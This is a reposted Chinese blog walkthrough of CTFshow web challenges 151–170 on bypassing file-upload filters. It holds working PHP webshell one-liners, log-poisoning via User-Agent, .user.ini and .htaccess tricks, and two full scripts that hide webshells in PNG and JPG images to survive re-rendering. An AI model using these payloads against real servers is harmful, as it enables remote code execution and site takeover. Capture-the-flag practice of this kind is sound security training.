CTFshow——web入门——文件上传

web151

前端校验
在这里插入图片描述
修改上传格式为php,上传一句话马,蚁剑连接得flag
在这里插入图片描述

web152

后端校验
上传一句话,png文件抓包
在这里插入图片描述
修改文件名后缀为php,访问被解析,蚁剑连接得flag。

web153

打开发现/upload下存在index.php文件,我们可以利用.user.ini,可参阅.htaccess 和.user.ini 配置文件妙用
php手册—关于php.ini配置项
前端把后缀限制去掉,accept改为file,上传user.ini
在这里插入图片描述
Content-Type修改为image/png
在这里插入图片描述
上传1.txt文件也能成功
在这里插入图片描述
蚁剑连接得flag。

web154

在这里插入图片描述
上题做法提示文件内容不合规,我们在文件头添加GIF89a还是不行,经过了一番尝试…发现过滤了php,那我们使用短标签
在这里插入图片描述
蚁剑连接得flag。

web155

按照上题做法依旧可以。
在这里插入图片描述

web156

在之前的基础上又过滤了[],可以用{}代替。

web157

过滤了;{ ,直接命令执行可以了

<?=`tac ../fl*`?>

在这里插入图片描述

web158

和上题做法一样

<?=`tac ../fl*`?>

web159

依旧可以

<?=`tac ../fl*`?>

web160

日志包含绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

先上传一个.user.ini文件,之后上传一个txt文件,内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>考虑到过滤log,之后User-Agent修改为<?php eval($_POST[1]);?>蚁剑连接得flag。
在这里插入图片描述

web161

上传ini文件时加上GIF89A
在这里插入图片描述
在这里插入图片描述
修改User-Agent为<?php eval($_POST[1]);?>,蚁剑连接得flag。

web162、web163

先放这…

web164

二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    
    
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

脚本生成图片上传执行命令Ctrl+S下载文件得flag。
在这里插入图片描述

web165

jpg图片二次渲染绕过

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    
    
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
    
    
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
    
    
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
    
    
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    
    
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
    
    
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
    
    
                    while((!$dis->eof())) {
    
    
                        if($dis->readByte() === 0xFF) {
    
    
                            if($dis->readByte !== 0x00) {
    
    
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
    
    
                    $outStream = $outStreamTmp;
                } else {
    
    
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
    
    
                    die('Success!');
                } else {
    
    
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
    
    
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
    
    
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
    
    
            if(isset($m[1])) {
    
    
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
    
    
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
    
    
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
    
    
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
    
    
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
    
    
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
    
    
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
    
    
            if($this->eof()) {
    
    
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
    
    
            if(strlen($this->binData) < 2) {
    
    
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
    
    
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
    
    
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
    
    
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
# 用法  php exp.php a.png

web166

前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed
在这里插入图片描述
在这里插入图片描述

web167

题目提示httpd 利用.htaccess进行绕过
在这里插入图片描述

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

在这里插入图片描述
接着上传图片包含一句话
在这里插入图片描述
蚁剑连接得flag。

web168

基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令
在这里插入图片描述
在这里插入图片描述
发现flag在上层目录里,直接rce
在这里插入图片描述

web169

先上传一个index.php,然后利用日志包含,上传.user.ini
在这里插入图片描述
UA包含一句话,蚁剑连接。

web170

同上题。

猜你喜欢

转载自blog.csdn.net/h_adam/article/details/122815530